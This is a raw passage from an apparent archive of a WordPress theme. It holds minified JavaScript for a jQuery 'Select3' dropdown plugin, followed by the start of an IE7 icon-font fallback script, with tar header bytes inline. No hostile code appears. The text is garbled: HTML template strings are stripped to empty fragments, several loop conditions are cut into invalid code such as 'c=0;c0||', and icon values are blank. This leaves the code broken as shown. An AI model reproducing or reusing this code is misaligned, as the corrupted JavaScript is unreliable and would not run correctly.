:"o","\xf4":"o","\u1ed3":"o","\u1ed1":"o","\u1ed7":"o","\u1ed5":"o","\xf5":"o","\u1e4d":"o","\u022d":"o","\u1e4f":"o","\u014d":"o","\u1e51":"o","\u1e53":"o","\u014f":"o","\u022f":"o","\u0231":"o","\xf6":"o","\u022b":"o","\u1ecf":"o","\u0151":"o","\u01d2":"o","\u020d":"o","\u020f":"o","\u01a1":"o","\u1edd":"o","\u1edb":"o","\u1ee1":"o","\u1edf":"o","\u1ee3":"o","\u1ecd":"o","\u1ed9":"o","\u01eb":"o","\u01ed":"o","\xf8":"o","\u01ff":"o","\u0254":"o","\ua74b":"o","\ua74d":"o","\u0275":"o","\u01a3":"oi","\u0223":"ou","\ua74f":"oo","\u24df":"p","\uff50":"p","\u1e55":"p","\u1e57":"p","\u01a5":"p","\u1d7d":"p","\ua751":"p","\ua753":"p","\ua755":"p","\u24e0":"q","\uff51":"q","\u024b":"q","\ua757":"q","\ua759":"q","\u24e1":"r","\uff52":"r","\u0155":"r","\u1e59":"r","\u0159":"r","\u0211":"r","\u0213":"r","\u1e5b":"r","\u1e5d":"r","\u0157":"r","\u1e5f":"r","\u024d":"r","\u027d":"r","\ua75b":"r","\ua7a7":"r","\ua783":"r","\u24e2":"s","\uff53":"s","\xdf":"s","\u015b":"s","\u1e65":"s","\u015d":"s","\u1e61":"s","\u0161":"s","\u1e67":"s","\u1e63":"s","\u1e69":"s","\u0219":"s","\u015f":"s","\u023f":"s","\ua7a9":"s","\ua785":"s","\u1e9b":"s","\u24e3":"t","\uff54":"t","\u1e6b":"t","\u1e97":"t","\u0165":"t","\u1e6d":"t","\u021b":"t","\u0163":"t","\u1e71":"t","\u1e6f":"t","\u0167":"t","\u01ad":"t","\u0288":"t","\u2c66":"t","\ua787":"t","\ua729":"tz","\u24e4":"u","\uff55":"u","\xf9":"u","\xfa":"u","\xfb":"u","\u0169":"u","\u1e79":"u","\u016b":"u","\u1e7b":"u","\u016d":"u","\xfc":"u","\u01dc":"u","\u01d8":"u","\u01d6":"u","\u01da":"u","\u1ee7":"u","\u016f":"u","\u0171":"u","\u01d4":"u","\u0215":"u","\u0217":"u","\u01b0":"u","\u1eeb":"u","\u1ee9":"u","\u1eef":"u","\u1eed":"u","\u1ef1":"u","\u1ee5":"u","\u1e73":"u","\u0173":"u","\u1e77":"u","\u1e75":"u","\u0289":"u","\u24e5":"v","\uff56":"v","\u1e7d":"v","\u1e7f":"v","\u028b":"v","\ua75f":"v","\u028c":"v","\ua761":"vy","\u24e6":"w","\uff57":"w","\u1e81":"w","\u1e83":"w","\u0175":"w","\u1e87":"w","\u1e85":"w","\u1e98":"w","\u1e89":"w","\u2c73":"w","\u24e7":"x","\uff58":"x","\u1e8b":"x","\u1e8d":"x","\u24e8":"y","\uff59":"y","\u1ef3":"y","\xfd":"y","\u0177":"y","\u1ef9":"y","\u0233":"y","\u1e8f":"y","\xff":"y","\u1ef7":"y","\u1e99":"y","\u1ef5":"y","\u01b4":"y","\u024f":"y","\u1eff":"y","\u24e9":"z","\uff5a":"z","\u017a":"z","\u1e91":"z","\u017c":"z","\u017e":"z","\u1e93":"z","\u1e95":"z","\u01b6":"z","\u0225":"z","\u0240":"z","\u2c6c":"z","\ua763":"z","\u0386":"\u0391","\u0388":"\u0395","\u0389":"\u0397","\u038a":"\u0399","\u03aa":"\u0399","\u038c":"\u039f","\u038e":"\u03a5","\u03ab":"\u03a5","\u038f":"\u03a9","\u03ac":"\u03b1","\u03ad":"\u03b5","\u03ae":"\u03b7","\u03af":"\u03b9","\u03ca":"\u03b9","\u0390":"\u03b9","\u03cc":"\u03bf","\u03cd":"\u03c5","\u03cb":"\u03c5","\u03b0":"\u03c5","\u03c9":"\u03c9","\u03c2":"\u03c3"};i=a(document),f=function(){var a=1;return function(){return a++}}(),c=O(Object,{bind:function(a){var b=this;return function(){a.apply(b,arguments)}},init:function(c){var d,e,g=".select3-results";this.opts=c=this.prepareOpts(c),this.id=c.id,c.element.data("select3")!==b&&null!==c.element.data("select3")&&c.element.data("select3").destroy(),this.container=this.createContainer(),this.liveRegion=a(".select3-hidden-accessible"),0==this.liveRegion.length&&(this.liveRegion=a("",{role:"status","aria-live":"polite"}).addClass("select3-hidden-accessible").appendTo(document.body)),this.containerId="s2id_"+(c.element.attr("id")||"autogen"+f()),this.containerEventName=this.containerId.replace(/([.])/g,"_").replace(/([;&,\-\.\+\*\~':"\!\^#$%@\[\]\(\)=>\|])/g,"\\$1"),this.container.attr("id",this.containerId),this.container.attr("title",c.element.attr("title")),this.body=a(document.body),D(this.container,this.opts.element,this.opts.adaptContainerCssClass),this.container.attr("style",c.element.attr("style")),this.container.css(K(c.containerCss,this.opts.element)),this.container.addClass(K(c.containerCssClass,this.opts.element)),this.elementTabIndex=this.opts.element.attr("tabindex"),this.opts.element.data("select3",this).attr("tabindex","-1").before(this.container).on("click.select3",A),this.container.data("select3",this),this.dropdown=this.container.find(".select3-drop"),D(this.dropdown,this.opts.element,this.opts.adaptDropdownCssClass),this.dropdown.addClass(K(c.dropdownCssClass,this.opts.element)),this.dropdown.data("select3",this),this.dropdown.on("click",A),this.results=d=this.container.find(g),this.search=e=this.container.find("input.select3-input"),this.queryCount=0,this.resultsPage=0,this.context=null,this.initContainer(),this.container.on("click",A),v(this.results),this.dropdown.on("mousemove-filtered",g,this.bind(this.highlightUnderEvent)),this.dropdown.on("touchstart touchmove touchend",g,this.bind(function(a){this._touchEvent=!0,this.highlightUnderEvent(a)})),this.dropdown.on("touchmove",g,this.bind(this.touchMoved)),this.dropdown.on("touchstart touchend",g,this.bind(this.clearTouchMoved)),this.dropdown.on("click",this.bind(function(){this._touchEvent&&(this._touchEvent=!1,this.selectHighlighted())})),x(80,this.results),this.dropdown.on("scroll-debounced",g,this.bind(this.loadMoreIfNeeded)),a(this.container).on("change",".select3-input",function(a){a.stopPropagation()}),a(this.dropdown).on("change",".select3-input",function(a){a.stopPropagation()}),a.fn.mousewheel&&d.mousewheel(function(a,b,c,e){var f=d.scrollTop();e>0&&0>=f-e?(d.scrollTop(0),A(a)):0>e&&d.get(0).scrollHeight-d.scrollTop()+e<=d.height()&&(d.scrollTop(d.get(0).scrollHeight-d.height()),A(a))}),u(e),e.on("keyup-change input paste",this.bind(this.updateResults)),e.on("focus",function(){e.addClass("select3-focused")}),e.on("blur",function(){e.removeClass("select3-focused")}),this.dropdown.on("mouseup",g,this.bind(function(b){a(b.target).closest(".select3-result-selectable").length>0&&(this.highlightUnderEvent(b),this.selectHighlighted(b))})),this.dropdown.on("click mouseup mousedown touchstart touchend focusin",function(a){a.stopPropagation()}),this.nextSearchTerm=b,a.isFunction(this.opts.initSelection)&&(this.initSelection(),this.monitorSource()),null!==c.maximumInputLength&&this.search.attr("maxlength",c.maximumInputLength);var h=c.element.prop("disabled");h===b&&(h=!1),this.enable(!h);var i=c.element.prop("readonly");i===b&&(i=!1),this.readonly(i),j=j||q(),this.autofocus=c.element.prop("autofocus"),c.element.prop("autofocus",!1),this.autofocus&&this.focus(),this.search.attr("placeholder",c.searchInputPlaceholder)},destroy:function(){var a=this.opts.element,c=a.data("select3"),d=this;this.close(),a.length&&a[0].detachEvent&&d._sync&&a.each(function(){d._sync&&this.detachEvent("onpropertychange",d._sync)}),this.propertyObserver&&(this.propertyObserver.disconnect(),this.propertyObserver=null),this._sync=null,c!==b&&(c.container.remove(),c.liveRegion.remove(),c.dropdown.remove(),a.show().removeData("select3").off(".select3").prop("autofocus",this.autofocus||!1),this.elementTabIndex?a.attr({tabindex:this.elementTabIndex}):a.removeAttr("tabindex"),a.show()),N.call(this,"container","liveRegion","dropdown","results","search")},optionToData:function(a){return a.is("option")?{id:a.prop("value"),text:a.text(),element:a.get(),css:a.attr("class"),disabled:a.prop("disabled"),locked:r(a.attr("locked"),"locked")||r(a.data("locked"),!0)}:a.is("optgroup")?{text:a.attr("label"),children:[],element:a.get(),css:a.attr("class")}:void 0},prepareOpts:function(c){var d,e,g,h,i=this;if(d=c.element,"select"===d.get(0).tagName.toLowerCase()&&(this.select=e=c.element),e&&a.each(["id","multiple","ajax","query","createSearchChoice","initSelection","data","tags"],function(){if(this in c)throw new Error("Option '"+this+"' is not allowed for Select3 when attached to a ","
    "," ","
      ","
    ","
    "].join(""));return b},enableInterface:function(){this.parent.enableInterface.apply(this,arguments)&&this.focusser.prop("disabled",!this.isInterfaceEnabled())},opening:function(){var c,d,e;this.opts.minimumResultsForSearch>=0&&this.showSearch(!0),this.parent.opening.apply(this,arguments),this.showSearchInput!==!1&&this.search.val(this.focusser.val()),this.opts.shouldFocusInput(this)&&(this.search.focus(),c=this.search.get(0),c.createTextRange?(d=c.createTextRange(),d.collapse(!1),d.select()):c.setSelectionRange&&(e=this.search.val().length,c.setSelectionRange(e,e))),""===this.search.val()&&this.nextSearchTerm!=b&&(this.search.val(this.nextSearchTerm),this.search.select()),this.focusser.prop("disabled",!0).val(""),this.updateResults(!0),this.opts.element.trigger(a.Event("select3-open"))},close:function(){this.opened()&&(this.parent.close.apply(this,arguments),this.focusser.prop("disabled",!1),this.opts.shouldFocusInput(this)&&this.focusser.focus())},focus:function(){this.opened()?this.close():(this.focusser.prop("disabled",!1),this.opts.shouldFocusInput(this)&&this.focusser.focus())},isFocused:function(){return this.container.hasClass("select3-container-active")},cancel:function(){this.parent.cancel.apply(this,arguments),this.focusser.prop("disabled",!1),this.opts.shouldFocusInput(this)&&this.focusser.focus()},destroy:function(){a("label[for='"+this.focusser.attr("id")+"']").attr("for",this.opts.element.attr("id")),this.parent.destroy.apply(this,arguments),N.call(this,"selection","focusser")},initContainer:function(){var b,g,c=this.container,d=this.dropdown,e=f();this.opts.minimumResultsForSearch<0?this.showSearch(!1):this.showSearch(!0),this.selection=b=c.find(".select3-choice"),this.focusser=c.find(".select3-focusser"),b.find(".select3-chosen").attr("id","select3-chosen-"+e),this.focusser.attr("aria-labelledby","select3-chosen-"+e),this.results.attr("id","select3-results-"+e),this.search.attr("aria-owns","select3-results-"+e),this.focusser.attr("id","s2id_autogen"+e),g=a("label[for='"+this.opts.element.attr("id")+"']"),this.opts.element.focus(this.bind(function(){this.focus()})),this.focusser.prev().text(g.text()).attr("for",this.focusser.attr("id"));var h=this.opts.element.attr("title");this.opts.element.attr("title",h||g.text()),this.focusser.attr("tabindex",this.elementTabIndex),this.search.attr("id",this.focusser.attr("id")+"_search"),this.search.prev().text(a("label[for='"+this.focusser.attr("id")+"']").text()).attr("for",this.search.attr("id")),this.search.on("keydown",this.bind(function(a){if(this.isInterfaceEnabled()&&229!=a.keyCode){if(a.which===k.PAGE_UP||a.which===k.PAGE_DOWN)return A(a),void 0;switch(a.which){case k.UP:case k.DOWN:return this.moveHighlight(a.which===k.UP?-1:1),A(a),void 0;case k.ENTER:return this.selectHighlighted(),A(a),void 0;case k.TAB:return this.selectHighlighted({noFocus:!0}),void 0;case k.ESC:return this.cancel(a),A(a),void 0}}})),this.search.on("blur",this.bind(function(){document.activeElement===this.body.get(0)&&window.setTimeout(this.bind(function(){this.opened()&&this.search.focus()}),0)})),this.focusser.on("keydown",this.bind(function(a){if(this.isInterfaceEnabled()&&a.which!==k.TAB&&!k.isControl(a)&&!k.isFunctionKey(a)&&a.which!==k.ESC){if(this.opts.openOnEnter===!1&&a.which===k.ENTER)return A(a),void 0;if(a.which==k.DOWN||a.which==k.UP||a.which==k.ENTER&&this.opts.openOnEnter){if(a.altKey||a.ctrlKey||a.shiftKey||a.metaKey)return;return this.open(),A(a),void 0}return a.which==k.DELETE||a.which==k.BACKSPACE?(this.opts.allowClear&&this.clear(),A(a),void 0):void 0}})),u(this.focusser),this.focusser.on("keyup-change input",this.bind(function(a){if(this.opts.minimumResultsForSearch>=0){if(a.stopPropagation(),this.opened())return;this.open()}})),b.on("mousedown touchstart","abbr",this.bind(function(a){this.isInterfaceEnabled()&&(this.clear(),B(a),this.close(),this.selection&&this.selection.focus())})),b.on("mousedown touchstart",this.bind(function(c){n(b),this.container.hasClass("select3-container-active")||this.opts.element.trigger(a.Event("select3-focus")),this.opened()?this.close():this.isInterfaceEnabled()&&this.open(),A(c)})),d.on("mousedown touchstart",this.bind(function(){this.opts.shouldFocusInput(this)&&this.search.focus()})),b.on("focus",this.bind(function(a){A(a)})),this.focusser.on("focus",this.bind(function(){this.container.hasClass("select3-container-active")||this.opts.element.trigger(a.Event("select3-focus")),this.container.addClass("select3-container-active")})).on("blur",this.bind(function(){this.opened()||(this.container.removeClass("select3-container-active"),this.opts.element.trigger(a.Event("select3-blur")))})),this.search.on("focus",this.bind(function(){this.container.hasClass("select3-container-active")||this.opts.element.trigger(a.Event("select3-focus")),this.container.addClass("select3-container-active")})),this.initContainerWidth(),this.opts.element.hide(),this.setPlaceholder()},clear:function(b){var c=this.selection.data("select3-data");if(c){var d=a.Event("select3-clearing");if(this.opts.element.trigger(d),d.isDefaultPrevented())return;var e=this.getPlaceholderOption();this.opts.element.val(e?e.val():""),this.selection.find(".select3-chosen").empty(),this.selection.removeData("select3-data"),this.setPlaceholder(),b!==!1&&(this.opts.element.trigger({type:"select3-removed",val:this.id(c),choice:c}),this.triggerChange({removed:c}))}},initSelection:function(){if(this.isPlaceholderOptionSelected())this.updateSelection(null),this.close(),this.setPlaceholder();else{var c=this;this.opts.initSelection.call(null,this.opts.element,function(a){a!==b&&null!==a&&(c.updateSelection(a),c.close(),c.setPlaceholder(),c.nextSearchTerm=c.opts.nextSearchTerm(a,c.search.val()))})}},isPlaceholderOptionSelected:function(){var a;return this.getPlaceholder()===b?!1:(a=this.getPlaceholderOption())!==b&&a.prop("selected")||""===this.opts.element.val()||this.opts.element.val()===b||null===this.opts.element.val()},prepareOpts:function(){var b=this.parent.prepareOpts.apply(this,arguments),c=this;return"select"===b.element.get(0).tagName.toLowerCase()?b.initSelection=function(a,b){var d=a.find("option").filter(function(){return this.selected&&!this.disabled});b(c.optionToData(d))}:"data"in b&&(b.initSelection=b.initSelection||function(c,d){var e=c.val(),f=null;b.query({matcher:function(a,c,d){var g=r(e,b.id(d));return g&&(f=d),g},callback:a.isFunction(d)?function(){d(f)}:a.noop})}),b},getPlaceholder:function(){return this.select&&this.getPlaceholderOption()===b?b:this.parent.getPlaceholder.apply(this,arguments)},setPlaceholder:function(){var a=this.getPlaceholder();if(this.isPlaceholderOptionSelected()&&a!==b){if(this.select&&this.getPlaceholderOption()===b)return;this.selection.find(".select3-chosen").html(this.opts.escapeMarkup(a)),this.selection.addClass("select3-default"),this.container.removeClass("select3-allowclear")}},postprocessResults:function(a,b,c){var d=0,e=this;if(this.findHighlightableChoices().each2(function(a,b){return r(e.id(b.data("select3-data")),e.opts.element.val())?(d=a,!1):void 0}),c!==!1&&(b===!0&&d>=0?this.highlight(d):this.highlight(0)),b===!0){var g=this.opts.minimumResultsForSearch;g>=0&&this.showSearch(L(a.results)>=g)}},showSearch:function(b){this.showSearchInput!==b&&(this.showSearchInput=b,this.dropdown.find(".select3-search").toggleClass("select3-search-hidden",!b),this.dropdown.find(".select3-search").toggleClass("select3-offscreen",!b),a(this.dropdown,this.container).toggleClass("select3-with-searchbox",b))},onSelect:function(a,b){if(this.triggerSelect(a)){var c=this.opts.element.val(),d=this.data();this.opts.element.val(this.id(a)),this.updateSelection(a),this.opts.element.trigger({type:"select3-selected",val:this.id(a),choice:a}),this.nextSearchTerm=this.opts.nextSearchTerm(a,this.search.val()),this.close(),b&&b.noFocus||!this.opts.shouldFocusInput(this)||this.focusser.focus(),r(c,this.id(a))||this.triggerChange({added:a,removed:d})}},updateSelection:function(a){var d,e,c=this.selection.find(".select3-chosen");this.selection.data("select3-data",a),c.empty(),null!==a&&(d=this.opts.formatSelection(a,c,this.opts.escapeMarkup)),d!==b&&c.append(d),e=this.opts.formatSelectionCssClass(a,c),e!==b&&c.addClass(e),this.selection.removeClass("select3-default"),this.opts.allowClear&&this.getPlaceholder()!==b&&this.container.addClass("select3-allowclear")},val:function(){var a,c=!1,d=null,e=this,f=this.data();if(0===arguments.length)return this.opts.element.val();if(a=arguments[0],arguments.length>1&&(c=arguments[1]),this.select)this.select.val(a).find("option").filter(function(){return this.selected}).each2(function(a,b){return d=e.optionToData(b),!1}),this.updateSelection(d),this.setPlaceholder(),c&&this.triggerChange({added:d,removed:f});else{if(!a&&0!==a)return this.clear(c),void 0;if(this.opts.initSelection===b)throw new Error("cannot call val() if initSelection() is not defined");this.opts.element.val(a),this.opts.initSelection(this.opts.element,function(a){e.opts.element.val(a?e.id(a):""),e.updateSelection(a),e.setPlaceholder(),c&&e.triggerChange({added:a,removed:f})})}},clearSearch:function(){this.search.val(""),this.focusser.val("")},data:function(a){var c,d=!1;return 0===arguments.length?(c=this.selection.data("select3-data"),c==b&&(c=null),c):(arguments.length>1&&(d=arguments[1]),a?(c=this.data(),this.opts.element.val(a?this.id(a):""),this.updateSelection(a),d&&this.triggerChange({added:a,removed:c})):this.clear(d),void 0)}}),e=O(c,{createContainer:function(){var b=a(document.createElement("div")).attr({"class":"select3-container select3-container-multi"}).html(["
      ","
    • "," "," ","
    • ","
    ","
    ","
      ","
    ","
    "].join(""));return b},prepareOpts:function(){var b=this.parent.prepareOpts.apply(this,arguments),c=this;return"select"===b.element.get(0).tagName.toLowerCase()?b.initSelection=function(a,b){var d=[];a.find("option").filter(function(){return this.selected&&!this.disabled}).each2(function(a,b){d.push(c.optionToData(b))}),b(d)}:"data"in b&&(b.initSelection=b.initSelection||function(c,d){var e=s(c.val(),b.separator,b.transformVal),f=[];b.query({matcher:function(c,d,g){var h=a.grep(e,function(a){return r(a,b.id(g))}).length;return h&&f.push(g),h},callback:a.isFunction(d)?function(){for(var a=[],c=0;c0||(this.selectChoice(null),this.clearPlaceholder(),this.container.hasClass("select3-container-active")||this.opts.element.trigger(a.Event("select3-focus")),this.open(),this.focusSearch(),b.preventDefault()))})),this.container.on("focus",b,this.bind(function(){this.isInterfaceEnabled()&&(this.container.hasClass("select3-container-active")||this.opts.element.trigger(a.Event("select3-focus")),this.container.addClass("select3-container-active"),this.dropdown.addClass("select3-drop-active"),this.clearPlaceholder())})),this.initContainerWidth(),this.opts.element.hide(),this.clearSearch()},enableInterface:function(){this.parent.enableInterface.apply(this,arguments)&&this.search.prop("disabled",!this.isInterfaceEnabled())},initSelection:function(){if(""===this.opts.element.val()&&""===this.opts.element.text()&&(this.updateSelection([]),this.close(),this.clearSearch()),this.select||""!==this.opts.element.val()){var c=this;this.opts.initSelection.call(null,this.opts.element,function(a){a!==b&&null!==a&&(c.updateSelection(a),c.close(),c.clearSearch())})}},clearSearch:function(){var a=this.getPlaceholder(),c=this.getMaxSearchWidth();a!==b&&0===this.getVal().length&&this.search.hasClass("select3-focused")===!1?(this.search.val(a).addClass("select3-default"),this.search.width(c>0?c:this.container.css("width"))):this.search.val("").width(10)},clearPlaceholder:function(){this.search.hasClass("select3-default")&&this.search.val("").removeClass("select3-default")},opening:function(){this.clearPlaceholder(),this.resizeSearch(),this.parent.opening.apply(this,arguments),this.focusSearch(),""===this.search.val()&&this.nextSearchTerm!=b&&(this.search.val(this.nextSearchTerm),this.search.select()),this.updateResults(!0),this.opts.shouldFocusInput(this)&&this.search.focus(),this.opts.element.trigger(a.Event("select3-open"))},close:function(){this.opened()&&this.parent.close.apply(this,arguments)},focus:function(){this.close(),this.search.focus()},isFocused:function(){return this.search.hasClass("select3-focused")},updateSelection:function(b){var c=[],d=[],e=this;a(b).each(function(){p(e.id(this),c)<0&&(c.push(e.id(this)),d.push(this))}),b=d,this.selection.find(".select3-search-choice").remove(),a(b).each(function(){e.addSelectedChoice(this)}),e.postprocessResults()},tokenize:function(){var a=this.search.val();a=this.opts.tokenizer.call(this,a,this.data(),this.bind(this.onSelect),this.opts),null!=a&&a!=b&&(this.search.val(a),a.length>0&&this.open())},onSelect:function(a,c){this.triggerSelect(a)&&""!==a.text&&(this.addSelectedChoice(a),this.opts.element.trigger({type:"selected",val:this.id(a),choice:a}),this.nextSearchTerm=this.opts.nextSearchTerm(a,this.search.val()),this.clearSearch(),this.updateResults(),(this.select||!this.opts.closeOnSelect)&&this.postprocessResults(a,!1,this.opts.closeOnSelect===!0),this.opts.closeOnSelect?(this.close(),this.search.width(10)):this.countSelectableResults()>0?(this.search.width(10),this.resizeSearch(),this.getMaximumSelectionSize()>0&&this.val().length>=this.getMaximumSelectionSize()?this.updateResults(!0):this.nextSearchTerm!=b&&(this.search.val(this.nextSearchTerm),this.updateResults(),this.search.select()),this.positionDropdown()):(this.close(),this.search.width(10)),this.triggerChange({added:a}),c&&c.noFocus||this.focusSearch())},cancel:function(){this.close(),this.focusSearch()},addSelectedChoice:function(c){var j,k,d=!c.locked,e=a("
  • "),f=a("
  • "),g=d?e:f,h=this.id(c),i=this.getVal();j=this.opts.formatSelection(c,g.find("div"),this.opts.escapeMarkup),j!=b&&g.find("div").replaceWith(a("
    ").html(j)),k=this.opts.formatSelectionCssClass(c,g.find("div")),k!=b&&g.addClass(k),d&&g.find(".select3-search-choice-close").on("mousedown",A).on("click dblclick",this.bind(function(b){this.isInterfaceEnabled()&&(this.unselect(a(b.target)),this.selection.find(".select3-search-choice-focus").removeClass("select3-search-choice-focus"),A(b),this.close(),this.focusSearch())})).on("focus",this.bind(function(){this.isInterfaceEnabled()&&(this.container.addClass("select3-container-active"),this.dropdown.addClass("select3-drop-active"))})),g.data("select3-data",c),g.insertBefore(this.searchContainer),i.push(h),this.setVal(i)},unselect:function(b){var d,e,c=this.getVal();if(b=b.closest(".select3-search-choice"),0===b.length)throw"Invalid argument: "+b+". Must be .select3-search-choice";if(d=b.data("select3-data")){var f=a.Event("select3-removing");if(f.val=this.id(d),f.choice=d,this.opts.element.trigger(f),f.isDefaultPrevented())return!1;for(;(e=p(this.id(d),c))>=0;)c.splice(e,1),this.setVal(c),this.select&&this.postprocessResults();return b.remove(),this.opts.element.trigger({type:"select3-removed",val:this.id(d),choice:d}),this.triggerChange({removed:d}),!0}},postprocessResults:function(a,b,c){var d=this.getVal(),e=this.results.find(".select3-result"),f=this.results.find(".select3-result-with-children"),g=this;e.each2(function(a,b){var c=g.id(b.data("select3-data"));p(c,d)>=0&&(b.addClass("select3-selected"),b.find(".select3-result-selectable").addClass("select3-selected"))}),f.each2(function(a,b){b.is(".select3-result-selectable")||0!==b.find(".select3-result-selectable:not(.select3-selected)").length||b.addClass("select3-selected")}),-1==this.highlight()&&c!==!1&&this.opts.closeOnSelect===!0&&g.highlight(0),!this.opts.createSearchChoice&&!e.filter(".select3-result:not(.select3-selected)").length>0&&(!a||a&&!a.more&&0===this.results.find(".select3-no-results").length)&&J(g.opts.formatNoMatches,"formatNoMatches")&&this.results.append("
  • "+K(g.opts.formatNoMatches,g.opts.element,g.search.val())+"
  • ")},getMaxSearchWidth:function(){return this.selection.width()-t(this.search)},resizeSearch:function(){var a,b,c,d,e,f=t(this.search);a=C(this.search)+10,b=this.search.offset().left,c=this.selection.width(),d=this.selection.offset().left,e=c-(b-d)-f,a>e&&(e=c-f),40>e&&(e=c-f),0>=e&&(e=a),this.search.width(Math.floor(e))},getVal:function(){var a;return this.select?(a=this.select.val(),null===a?[]:a):(a=this.opts.element.val(),s(a,this.opts.separator,this.opts.transformVal))},setVal:function(b){var c;this.select?this.select.val(b):(c=[],a(b).each(function(){p(this,c)<0&&c.push(this)}),this.opts.element.val(0===c.length?"":c.join(this.opts.separator)))},buildChangeDetails:function(a,b){for(var b=b.slice(0),a=a.slice(0),c=0;c0&&c--,a.splice(d,1),d--);return{added:b,removed:a}},val:function(c,d){var e,f=this;if(0===arguments.length)return this.getVal();if(e=this.data(),e.length||(e=[]),!c&&0!==c)return this.opts.element.val(""),this.updateSelection([]),this.clearSearch(),d&&this.triggerChange({added:this.data(),removed:e}),void 0;if(this.setVal(c),this.select)this.opts.initSelection(this.select,this.bind(this.updateSelection)),d&&this.triggerChange(this.buildChangeDetails(e,this.data()));else{if(this.opts.initSelection===b)throw new Error("val() cannot be called if initSelection() is not defined");this.opts.initSelection(this.opts.element,function(b){var c=a.map(b,f.id);f.setVal(c),f.updateSelection(b),f.clearSearch(),d&&f.triggerChange(f.buildChangeDetails(e,f.data()))})}this.clearSearch()},onSortStart:function(){if(this.select)throw new Error("Sorting of elements is not supported when attached to instead.");this.search.width(0),this.searchContainer.hide()},onSortEnd:function(){var b=[],c=this;this.searchContainer.show(),this.searchContainer.appendTo(this.searchContainer.parent()),this.resizeSearch(),this.selection.find(".select3-search-choice").each(function(){b.push(c.opts.id(a(this).data("select3-data")))}),this.setVal(b),this.triggerChange()},data:function(b,c){var e,f,d=this;return 0===arguments.length?this.selection.children(".select3-search-choice").map(function(){return a(this).data("select3-data")}).get():(f=this.data(),b||(b=[]),e=a.map(b,function(a){return d.opts.id(a)}),this.setVal(e),this.updateSelection(b),this.clearSearch(),c&&this.triggerChange(this.buildChangeDetails(f,this.data())),void 0)}}),a.fn.select3=function(){var d,e,f,g,h,c=Array.prototype.slice.call(arguments,0),i=["val","destroy","opened","open","close","focus","isFocused","container","dropdown","onSortStart","onSortEnd","enable","disable","readonly","positionDropdown","data","search"],j=["opened","isFocused","container","dropdown"],k=["val","data"],l={search:"externalSearch"};return this.each(function(){if(0===c.length||"object"==typeof c[0])d=0===c.length?{}:a.extend({},c[0]),d.element=a(this),"select"===d.element.get(0).tagName.toLowerCase()?h=d.element.prop("multiple"):(h=d.multiple||!1,"tags"in d&&(d.multiple=h=!0)),e=h?new window.Select3["class"].multi:new window.Select3["class"].single,e.init(d);else{if("string"!=typeof c[0])throw"Invalid arguments to select3 plugin: "+c;if(p(c[0],i)<0)throw"Unknown method: "+c[0];if(g=b,e=a(this).data("select3"),e===b)return;if(f=c[0],"container"===f?g=e.container:"dropdown"===f?g=e.dropdown:(l[f]&&(f=l[f]),g=e[f].apply(e,c.slice(1))),p(c[0],j)>=0||p(c[0],k)>=0&&1==c.length)return!1}}),g===b?this:g},a.fn.select3.defaults={width:"copy",loadMorePadding:0,closeOnSelect:!0,openOnEnter:!0,containerCss:{},dropdownCss:{},containerCssClass:"",dropdownCssClass:"",formatResult:function(a,b,c,d){var e=[];return E(this.text(a),c.term,e,d),e.join("")},transformVal:function(b){return a.trim(b)},formatSelection:function(a,c,d){return a?d(this.text(a)):b},sortResults:function(a){return a},formatResultCssClass:function(a){return a.css},formatSelectionCssClass:function(){return b},minimumResultsForSearch:0,minimumInputLength:0,maximumInputLength:null,maximumSelectionSize:0,id:function(a){return a==b?null:a.id},text:function(b){return b&&this.data&&this.data.text?a.isFunction(this.data.text)?this.data.text(b):b[this.data.text]:b.text },matcher:function(a,b){return o(""+b).toUpperCase().indexOf(o(""+a).toUpperCase())>=0},separator:",",tokenSeparators:[],tokenizer:M,escapeMarkup:F,blurOnChange:!1,selectOnBlur:!1,adaptContainerCssClass:function(a){return a},adaptDropdownCssClass:function(){return null},nextSearchTerm:function(){return b},searchInputPlaceholder:"",createSearchChoicePosition:"top",shouldFocusInput:function(a){var b="ontouchstart"in window||navigator.msMaxTouchPoints>0;return b?a.opts.minimumResultsForSearch<0?!1:!0:!0}},a.fn.select3.locales=[],a.fn.select3.locales.en={formatMatches:function(a){return 1===a?"One result is available, press enter to select it.":a+" results are available, use up and down arrow keys to navigate."},formatNoMatches:function(){return"No matches found"},formatAjaxError:function(){return"Loading failed"},formatInputTooShort:function(a,b){var c=b-a.length;return"Please enter "+c+" or more character"+(1==c?"":"s")},formatInputTooLong:function(a,b){var c=a.length-b;return"Please delete "+c+" character"+(1==c?"":"s")},formatSelectionTooBig:function(a){return"You can only select "+a+" item"+(1==a?"":"s")},formatLoadMore:function(){return"Loading more results\u2026"},formatSearching:function(){return"Searching\u2026"}},a.extend(a.fn.select3.defaults,a.fn.select3.locales.en),a.fn.select3.ajaxDefaults={transport:a.ajax,params:{type:"GET",cache:!1,dataType:"json"}},window.Select3={query:{ajax:G,local:H,tags:I},util:{debounce:w,markMatch:E,escapeMarkup:F,stripDiacritics:o},"class":{"abstract":c,single:d,multi:e}}}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/assets/js/vendor/lte-ie7.js000064400000023472152342437710024154 0ustar00/* Load this script using conditional IE comments if you need to support IE 7 and IE 6. */ window.onload = function() { function addIcon(el, entity) { var html = el.innerHTML; el.innerHTML = '' + entity + '' + html; } var icons = { 'icon-move' : '', 'icon-music' : '', 'icon-network' : '', 'icon-off' : '', 'icon-ok' : '', 'icon-ok-circle' : '', 'icon-ok-sign' : '', 'icon-paper-clip' : '', 'icon-paper-clip-alt' : '', 'icon-path' : '', 'icon-plus-sign' : '', 'icon-print' : '', 'icon-qrcode' : '', 'icon-question' : '', 'icon-question-sign' : '', 'icon-quotes' : '', 'icon-quotes-alt' : '', 'icon-random' : '', 'icon-record' : '', 'icon-reddit' : '', 'icon-refresh' : '', 'icon-screenshot' : '', 'icon-search' : '', 'icon-search-alt' : '', 'icon-share' : '', 'icon-share-alt' : '', 'icon-shopping-cart' : '', 'icon-shopping-cart-sign' : '', 'icon-signal' : '', 'icon-skype' : '', 'icon-slideshare' : '', 'icon-smiley' : '', 'icon-th-large' : '', 'icon-th-list' : '', 'icon-thumbs-down' : '', 'icon-thumbs-up' : '', 'icon-time' : '', 'icon-time-alt' : '', 'icon-tint' : '', 'icon-torso' : '', 'icon-trash' : '', 'icon-trash-alt' : '', 'icon-tumblr' : '', 'icon-w3c' : '', 'icon-warning-sign' : '', 'icon-website' : '', 'icon-website-alt' : '', 'icon-wheelchair' : '', 'icon-wordpress' : '', 'icon-wrench' : '', 'icon-wrench-alt' : '', 'icon-youtube' : '', 'icon-zoom-in' : '', 'icon-zoom-out' : '', 'icon-pause-alt' : '', 'icon-pencil' : '', 'icon-pencil-alt' : '', 